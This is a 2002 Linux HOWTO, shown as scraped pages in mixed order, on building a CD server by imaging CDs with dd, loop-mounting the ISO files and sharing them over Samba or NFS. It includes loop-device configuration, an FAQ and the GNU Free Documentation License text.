Unlike for the older proprietary drives, there isn't a specific driver for each model of ATAPI/IDE CD-ROM drives. All drives conforming to the standard should work with the ATAPI CD-ROM driver included in the standard Linux kernel.

6.28. I'm having problems with my CD-ROM on Red Hat 7.1

You may be running into an issue with hardware that does not support DMA (Direct Memory Access). RedHat ships a highly tuned version of the Linux kernel which enables DMA on selected IDE controller chipsets. Information on this issue can be found at http://www.exocore.com/linux/rhl71dma/

Prev | Home | Next
Applications |  | References


References

The Linux CD-ROM HOWTO
Prev

7. References

I have already mentioned the documentation files, typically installed in /usr/src/linux/Documentation/cdrom. These can be a gold mine of useful information.

The following Usenet FAQs are posted periodically to news.answers and archived at Internet FTP sites such as ftp://rtfm.mit.edu/.

  • alt.cd-rom FAQ

  • comp.periphs.scsi FAQ

  • Enhanced IDE/Fast-ATA/ATA-2 FAQ

Several other Linux HOWTOs have useful information relevant to CD-ROM:

  • Linux SCSI HOWTO

  • Hardware Compatibility HOWTO

  • Sound HOWTO

  • Kernel HOWTO

  • Distribution HOWTO

  • CD Writing HOWTO

At least a dozen companies sell Linux distributions on CD-ROM; most of them are listed in the Distribution HOWTO.

The following Usenet news groups cover CD-ROM related topics:

  • comp.publish.cdrom.hardware

  • comp.publish.cdrom.multimedia

  • comp.publish.cdrom.software

  • comp.sys.ibm.pc.hardware.cd-rom

  • alt.cd-rom

  • alt.cd-rom.reviews

The comp.os.linux newsgroups are also good sources of Linux specific information.

A FAQ document on IDE and ATA devices can be found at ftp://rtfm.mit.edu/pub/usenet/news.answers/pc-hardware-faq/enhanced-IDE/ and at http://www.seagate.com/techsuppt/faq/faqlist.html.

A web site dedicated to multimedia can be found at http://www.scala.com/multimedia/. Creative Labs has a web site at http://www.creaf.com/.

The Linux Software Map (LSM) is an invaluable reference for locating Linux software. The LSM home page is at http://www.ExecPC.com/lsm/. and there is an on-line browsable version at http://www.boutell.com/lsm/.

Another great site for finding Linux applications is http://www.freshmeat.net/.

The Linux mailing list has a number of "channels" dedicated to different topics. To find out how to join, send a mail message with the word "help" as the message body to majordomo@vger.kernel.org.

The Linux Documentation Project has produced several books on Linux, including Linux Installation and Getting Started. These are freely available by anonymous FTP from major Linux archive sites or can be purchased in hardcopy format.

Finally, a shameless plug: If you want to learn a lot more about multimedia under Linux (especially CD-ROM and sound card applications and programming), check out my book Linux Multimedia Guide, ISBN 1-56592-219-0, published by O'Reilly and Associates. As well as the original English version, French and Japanese translations are now in print. For details, call 800-998-9938 in North America or check the web page http://www.ora.com/catalog/multilinux/noframes.html.

Prev | Home
Answers to Frequently Asked Questions |


Adding Support for More Loop Devices

CDServer-HOWTO
Prev Next

3. Adding Support for More Loop Devices

Newer Linux kernels (2.4) allow you to add more loop devices easily by editing /etc/modules.conf or through the use of a boot parameter.

Older kernels (2.2 ?) only had support for 8 loop devices compiled into the kernel. In short, you were only able to share 8 CD's on a network with this default value. In order to support more than that default, you needed to modify the kernel source and recompile a new kernel.

Use the following methods to determine which version of the kernel you are running.

bash# uname -a

or

bash# cat /proc/version

3.1. Adding the Loop Module Option

Current kernels allow you to set the number of loop devices supported without recompiling the kernel. One of these methods is to add an options line to /etc/modules.conf. This method will only work if your loop support has been configured as a loadable kernel module (which is how most major Linux distributions come preconfigured now).

Edit /etc/modules.conf and add the following line.

options loop max_loop=64

After making the above change, simply reboot. Or you can try to use rmmod and insmod to make the change on the fly - but this will not work if you currently have any loop devices mounted (you'll get an error saying loop: Device or resource busy).

Note

If you do not have an /etc/modules.conf file, your module configuration file may be called /etc/conf.modules (this name is now deprecated).

Continue with Section 3.4.

Thanks to Paul A. Sand for pointing out the /etc/modules.conf option.

3.2. Appending to the Boot Prompt

If your loop support has been compiled directly into the kernel (in other words, it is not loaded as a module), you can append the number of loop devices you would like to support at the linux boot prompt.

boot:  linux max_loop=64

Or, if you are using LILO, you can edit your linux boot stanza in /etc/lilo.conf and add/modify the append= line. Here is an example stanza showing append= (note: only add or modify the append line, don't change your whole stanza to look like this one or your system may not boot). For more information about LILO, consult the LILO mini-HOWTO at http://www.linuxdoc.org/HOWTO/mini/LILO.html.

image=/boot/vmlinuz
        label=linux
        root=/dev/hdb5
        initrd=/boot/initrd.img

    append=" max_loop=64"

        vga=788
        read-only

After changing /etc/lilo.conf, you need to run the lilo command for your changes to take effect.

bash# lilo

Added linux *
Added linux-nonfb
Added failsafe
Added windows
Added floppy

Next restart your system. After your system restarts, you can check your boot command line by typing the following:

bash# cat /proc/cmdline

Note

I am not sure if the loop module (compiled as a module) reads /proc/cmdline when the module is loaded, and therefore may not need an options line /etc/modules.conf. It's possible that it can (and if it doesn't, it should). To summarize: I have not tested this.

Continue with Section 3.4.

Thanks to Tony Melia for the boot prompt info.

3.3. Tweaking the Kernel

If you have an older kernel (v. 2.2) or if you are completely comfortable recompiling the kernel, you can increase the number of loop devices supported by editing the /usr/src/linux/drivers/block/loop.c file.

Note

If you find that the kernel sources are not installed on your machine, you'll need to consult your Linux Distribution's documentation on how to install them (the Kernel Sources come with all distributions - it's part of the GNU GPL licensing).

Change the number in the following line to however many loop devices you'll need.

#define MAX_LOOP 16

Compile the new kernel or module as the case may be. If you need some help getting started with this, read /usr/src/linux/README or consult The Linux Kernel HOWTO.

Continue with Section 3.4.

3.4. Creating the Loop Devices in /dev

You should check how many /dev entries you have for loop devices.

bash# ls -l /dev/loop*

The mknod command creates the devices in the /dev directory. The loop devices have a major number of "7", and the minor numbers begin at "0". If your MAX_LOOP was defined as "8" in /usr/src/linux/drivers/block/loop.c, you should have /dev/loop0 through /dev/loop7. To create the /dev/loop8 device, use the following command (subsitute the appropriate number you need for both the "8's" in the example below).

bash# mknod -m660 /dev/loop8 b 7 8

Check Owner/Group & Permissions on the new file (using ls -l). You can change the owner and group with the following command:

bash# chown root.disk /dev/loop8

You can change the permissions using the following command:

bash# chmod 666 /dev/loop8

Prev | Home | Next
Procedure |  | More Information


GNU Free Documentation License

CDServer-HOWTO
Prev Next

A. GNU Free Documentation License

Version 1.1, March 2000

Copyright (C) 2000 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

Prev | Home | Next
More Information |  | PREAMBLE


PREAMBLE

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

Prev | Home | Next
GNU Free Documentation License | Up | APPLICABILITY AND DEFINITIONS


APPLICABILITY AND DEFINITIONS

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

Prev | Home | Next
PREAMBLE | Up | VERBATIM COPYING


VERBATIM COPYING

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

Prev | Home | Next
APPLICABILITY AND DEFINITIONS | Up | COPYING IN QUANTITY


COPYING IN QUANTITY

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

Prev | Home | Next
VERBATIM COPYING | Up | MODIFICATIONS


MODIFICATIONS

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


COMBINING DOCUMENTS

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


COLLECTIONS OF DOCUMENTS

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


AGGREGATION WITH INDEPENDENT WORKS

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


TRANSLATION

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


TERMINATION

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


FUTURE REVISIONS OF THIS LICENSE

CDServer-HOWTO
Prev A. GNU Free Documentation License Next

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


CDServer-HOWTO

Randolph J Tata

Talcon Information Systems

randy@talcon.com

v1.40 2002/01/10

Revision History
Revision v1.40 | 2002-01-10 | Revised by: rjt
Added description and link to cdtower shell script.
Revision v1.30 | 2002-01-08 | Revised by: rjt
Many additions and changes to markup in DocBook XML source and fix pubdate data.
Revision v1.01 | 2002-01-07 | Revised by: rjt
Updated for 2.4 kernels. Added more References and links. Convert to DocBook XML 4.1.2 Change License from LDP boilerplate to GFDL.
Revision v1.00 | 2000-09-23 | Revised by: rjt
Conversion from Linuxdoc SGML to DocBook v3.1 SGML
Revision v0.10 | 2000-09-01 | Revised by: rjt
Conversion to Linuxdoc SGML from text/html, added kerneltweak (addloops) section
Revision v0.01 | 2000-08-18 | Revised by: rjt
First version released in text and html.

The CD Server HOWTO describes the steps and commands you can use to setup your own CD Server using Linux and some built-in Unix commands along with other freely available software packages. The CD Server can then share the CD's via the network to Windows and/or other client machines.

Table of Contents
1. Introduction
1.1. Intended Audience
1.2. Things You'll Need
1.3. Suggested Reading and References
1.4. Copyright and License
1.5. Disclaimer
1.6. News
1.7. Credits
1.8. Translations
2. Procedure
2.1. Creating the ISO Images
2.2. Mounting the ISO Images
2.3. Mounting the Image upon System Restart
2.4. Sharing it on a Windows Network using Samba
2.5. Sharing the Images on a Unix network using NFS
3. Adding Support for More Loop Devices
3.1. Adding the Loop Module Option
3.2. Appending to the Boot Prompt
3.3. Tweaking the Kernel
3.4. Creating the Loop Devices in /dev
4. More Information
4.1. Frequently Asked Questions
4.2. Other Instructions Available on the Web
4.3. Under Future Consideration
A. GNU Free Documentation License
0. PREAMBLE
1. APPLICABILITY AND DEFINITIONS
2. VERBATIM COPYING
3. COPYING IN QUANTITY
4. MODIFICATIONS
5. COMBINING DOCUMENTS
6. COLLECTIONS OF DOCUMENTS
7. AGGREGATION WITH INDEPENDENT WORKS
8. TRANSLATION
9. TERMINATION
10. FUTURE REVISIONS OF THIS LICENSE
How to use this License for your documents
Next
Introduction


Introduction

CDServer-HOWTO
Prev Next

1. Introduction

With disk space becoming less expensive (100GB Western Digital 7200rpm available for US $195 in January 2002), it is viable to use an Open Source software-based CD Server solution, instead of paying $800-$4,000 for a software, thin-server, or CD Jukebox solution.

I've setup my CD Server on a Pentium 200 with 64MB RAM, using one of these large drives.

Any comments, suggestions, additions, or corrections can be sent to my email address at Talcon Information Systems: <randy@talcon.com>.

1.1. Intended Audience

This HOWTO is specifically directed toward System Administrators and uses Linux for the examples. It should work with other flavors of Unix provided that they have a loop device or a method of mounting a CD image file within the directory tree as a block device using the iso9660 file system.

1.2. Things You'll Need

The commands and utilities needed to setup your own CD Server are already included in most (if not all) Linux distributions.

  • A Linux Distribution (This HOWTO uses Linux-Mandrake for the examples)

  • dd - Converts and copies a file (a standard Unix command)

  • mount - Mounts and Unmounts filesystems (a standard Unix command)

  • Samba - A Windows SMB/CIFS fileserver for Unix

  • NFS (optional for Unix) - Network File System (included in Linux distributions)

  • Netatalk (optional for Macs) - A package that lets a Unix machine supply Appletalk print and file services on a LAN.

Note

Previous to the 2.4 kernels, the Linux-Mandrake distribution I was using only had support for 8 loop devices compiled into the kernel (see Section 3 to increase this number). At that time, you were only be able to share 8 CD's on a network with that default value, and to share more than 8, the loop block driver source code (loop.c) needed to be modified and a new kernel compiled.

With the 2.4 kernels, that is no longer required. You can now set the number of loop devices dynamically via the max_loop module parameter, or by passing max_loop=[1-255] to the kernel on boot.

1.3. Suggested Reading and References

SMB HOWTO by: David Wood, dwood (at) plugged.net.au. Part of the Linux Documentation Project. This document describes how to use the Server Message Block (SMB) protocol, also called the Session Message Block, NetBIOS or LanManager protocol, with Linux using Samba.

Using Samba by: Robert Eckstein, David Collier-Brown, Peter Kelly 1st Edition November 1999, O'Reilly and Associates, Inc. ISBN 1-56592-449-5,

The Linux CD-ROM HOWTO by: Jeff Tranter, tranter (at) pobox.com. Part of the Linux Documentation Project. How to install, configure, and use CD-ROM drives under Linux. It lists the supported hardware and answers a number of frequently asked questions. This HOWTO also gives some information on using multi-platter CD-ROM drives with Linux.

CD-Writing HOWTO by: Winfried Trümper, winni (at) xpilot.org. Part of the Linux Documentation Project. This document explains how to write CD-ROMs under Linux. This HOWTO also includes information on making 1:1 image copies of CD-ROMs.

1.4. Copyright and License

CDServer-HOWTO, Copyright © 2000-2002, by Randolph J. Tata, All Rights Reserved

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts and no Back-Cover Texts. A copy of the license is included in Appendix A entitled "GNU Free Documentation License".

1.5. Disclaimer

Use the information in this document at your own risk. I disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to make a backup of your system before major installation and should make backups at regular intervals.

1.6. News

As always, check the revision history at the top of this document.

DocBook XML source for this document is available. Any additions/changes should be made to the DocBook XML source, not derivative formats.

This documents home page is at the CDServer-HOWTO site page in case you need the latest version, or there is a problem with the page format you are viewing.

1.7. Credits

My thanks go the readers of this HOWTO and those willing to share their experiences and knowledge with me. I have the pleasure of acknowledging:

Mark F. Komarinski | markk (at) linuxdoc.org | LDP Author Guide
Jorge Godoy | godoy (at) metalab.unc.edu | LDP Author Guide
David C. Merrill | dcmerrill (at) mindspring.com | LDP Author Guide
Stein Gjoen | sgjoen (at) nyx.net | HOWTO-Template
Gregory Leblanc | gleblanc (at) cu-portland.edu | HOWTO-Template
Greg Ferguson | gferg (at) sgi.com | HOWTO-Template
Amar Chaouche | achaouche (at) linbox.com | mount unhide option
Giblhauser Carl Michael | mike (at) bawb.bmlf.gv.at | runoutblock i/o errors
Monte Milanuk | milanuk (at) yahoo.com | nfs help
Paul A. Sand | pas (at) unh.edu | loop module option max_loop
Tony Melia | Tony.Melia (at) downsmicro.com.au | max_loop kernel boot parameter
Richard Black | Richard.Black (at) compaq.com | more info and mknod script
Bradley Wendelboe | krakken (at) icehouse.2y.net | cdtower shell script
James Mumm | dart (at) windeath.2y.net | cdtower shell script

1.8. Translations

  • Korean (html and sgml) at http://www.ibiblio.org/pub/Linux/docs/HOWTO/translations/korean/

If you have the capacity it would be nice to make the CDServer-HOWTO available in a number of formats and languages.

If you've translated this document, please send to me:

  • Your name, email address, the language and URL to the translated document (preferred).

  • Or an email attachment of the work.

Please send either to my email address at Talcon Information Systems: <randy@talcon.com>.

Prev | Home | Next
CDServer-HOWTO |  | Procedure


More Information

CDServer-HOWTO
Prev Next

4. More Information

Be sure to check the suggested reading in Section 1.3.

4.1. Frequently Asked Questions

I finally had to create this section - Frequently Asked Questions. Although, I sometimes think it should be called Frequently Answered Questions (at least I try to answer them all).

Q: Can I copy CD contents to a directory and share it with SAMBA?
Q: Do any scripts or programs exist that automate this process?
Q: Do any web interfaces exist that automate this process?
Q: Can copy-protected CD's (e.g. laserlok) be shared in this way?

Q: Can I copy CD contents to a directory and share it with SAMBA?

A: In a word - Yes.

There is nothing to keep you from doing that. However I'm not sure which arguments you would have to use with tar and which options to include in the SAMBA stanzas. Also, there could be problems with file name mangling (case sensitivity, spaces in file names), file attributes (read-only), etc. If anyone is doing this successfully, please send me examples of the commands you used for copying the contents of the CD, and your SAMBA stanzas for the shares.

Here's some commands you can use to copy the contents:

bash# cd /home
bash# mkdir image
bash# cd image
bash# mkdir mndrk81
bash# mount /mnt/cdrom
bash# cd /mnt/cdrom
bash# tar cvf - . | (cd /home/image/mndrk81; tar xvf -)

Thanks to Giblhauser Carl Michael for this info

Q: Do any scripts or programs exist that automate this process?

A: Yes:

  • Bradley Wendelboe and James Mumm wrote a shell script called CDTower - see Section 4.2.2 to download it.

    I have no independent test results of this script - use at your own risk.

Q: Do any web interfaces exist that automate this process?

A: Not yet. However there is much interest in this.

  • Tony Melia [Tony.Melia (at) downsmicro.com.au] has announced that he is 60% complete with a web interface, i.e. sucking CD's in, creating extra /dev/loop entries and seeing what space the CD's are taking up.

  • I am planning on writing a module for Webmin to automate this process. That project is currently hosted on SourceForge at http://sourceforge.net/projects/opencdserver

Q: Can copy-protected CD's (e.g. laserlok) be shared in this way?

A: To the best of my knowledge, No.

Others have reported problems to me trying to share ISO images made from copy-protected CD's. It seems that even when using the "unhide" option with mount that files will remain hidden.

4.2. Other Instructions Available on the Web

This section is devoted to instructional materials that others have written or have sent to me.

4.2.1. Saving a CD-ROM to a File and Mounting it

Richard Black (Compaq) has some good pages about Saving CD-ROM's to files and mounting them in Red Hat Linux.

  • Saving a CD-ROM to a File and Mounting it

  • Linux Loop Devices - This page also includes the script below for creating many loop device nodes at once in /dev.

Device nodes are required to access the loop devices. You already have loop0 - loop7.
You can run the following loop to create the rest of the nodes (loop8 - loop255).
You can type all of the following lines of code on one single line if you leave off
the trailing "\" characters.

C=8; echo; echo "Creating loop device nodes."; \
   while [ $C -lt 256 ]; do mknod /dev/loop$C b 7 $C; \
   echo -n .; C=`expr $C + 1`; done; echo;

Note: the quoting around the expr section are called backtick's and they are located
with the tilde character ("~") in the upper left hand corner of the keyboard. The
character is not a single quote.

Thanks to Richard Black for permission to add this info and for linking back to this document.

4.2.2. CDTower v.06

A script to automate the creation of ISO images and share them via Samba

by Bradley Wendelboe [krakken (at) icehouse.2y.net] and James Mumm [dart (at) windeath.2y.net]

This software is covered under the GPL See http://www.gnu.org/copyleft/gpl.html for details.

To view/download this script:

http://www.talcon.com/projects/CDServer-HOWTO/scripts/cdtower_v0.06.sh.txt

Caution

I have no independent test results of this script - use at your own risk.

Thanks to Bradley Wendelboe for forwarding this script to me.

4.3. Under Future Consideration

These are things I'm currently looking into, trying to figure out, or planning to get done.

  • Make more scripts available that others have sent to me, either within this howto, or by hosting them and linking to them from this document.

  • Sharing CD's to Apple and Netware clients (Appletalk and IPX).

  • Compressed ISO Images.

  • Changing CD Shares on the fly (hopefully transparent to users).

  • Adding a module to Webmin to automate the CDServer process.

  • Distribution specific instructions.

  • I have a volunteer for a German translation, hopefully it will be done soon.

Prev | Home | Next
Adding Support for More Loop Devices |  | GNU Free Documentation License


Procedure

CDServer-HOWTO
Prev Next

2. Procedure

Summary of Steps

  • Create a large partition to hold the CD Image Files.

  • Copy the CD to an image file using the dd command.

  • Mount the CD image file within the directory tree.

  • Share the directory on the network using Samba, NFS, etc.

Also, make sure you've read Section 1 and Section 1.2.

2.1. Creating the ISO Images

Choose (or create) a file system with the largest available disk space on it. Keep in mind that CD-ROM's can hold around 640MB of data, so if you want to share 8 full CD's on your network, you'll need 5.1GB of space available.

Login as root or "su" to root.

bash# df -h

Filesystem            Size  Used Avail Use% Mounted on
/dev/hda5             1.4G   82M  1.3G   6% /
/dev/hda1              15M  827k   14M   6% /boot
/dev/hda7             2.4G 1008M  1.3G  43% /usr
/dev/hda8            23.6G 11.7G 11.7G  50% /home

Here the /home filesystem has the most available space, so it is the most suitable filesystem to use for dumping the CD images to.

bash# cd /home
bash# mkdir image
bash# cd image

Now, copy the CD to an ISO image. You must know the device name of your CD-ROM drive (usually /dev/cdrom, it could be /dev/scd0 for SCSI CD-ROM's) I'll use the Mandrake distribution CD-ROM as an Example:

bash# dd if=/dev/cdrom of=mndrk81.iso

Note

The "if=" is the input file, the "of=" is the output file. You should see a message stating the number of records in and number of records out.

If you see i/o errors, they will most likely be due to the lead-in and lead-out runoutblocks on the CD. If the number of records in and number of records out do not match you may have a problem, otherwise the image will most likely be alright, but you can never know if the errors happened while reading the ISO part of the CD or not (due to dust or scratches on the CD).

Other utilities to read CD's exist, like readcd or sdd.

More information about making 1:1 copies of CD's exists in the [CD-Writing-HOWTO], see Section 1.3.

My thanks to Giblhauser Carl Michael for the runoutblock information.

2.2. Mounting the ISO Images

The next step is to mount the ISO image file. Let's create a directory under /mnt to place the mounted file.

bash# cd /mnt
bash# mkdir iso
bash# cd iso
bash# mkdir mndrk81

Now mount the ISO image file to this newly created directory

bash# mount -o loop,unhide -t iso9660 -r /home/image/mndrk81.iso /mnt/iso/mndrk81

Note

The "-o loop" means use the option that mounts a file as a block device. The unhide option shows hidden files. The "-t iso9660" means that the file is in the iso9660 CD-ROM format. The "-r" means to mount read-only.

Thanks to Amar Chaouche for pointing out the unhide option for the mount command.

Now you can:

bash# cd mndrk81
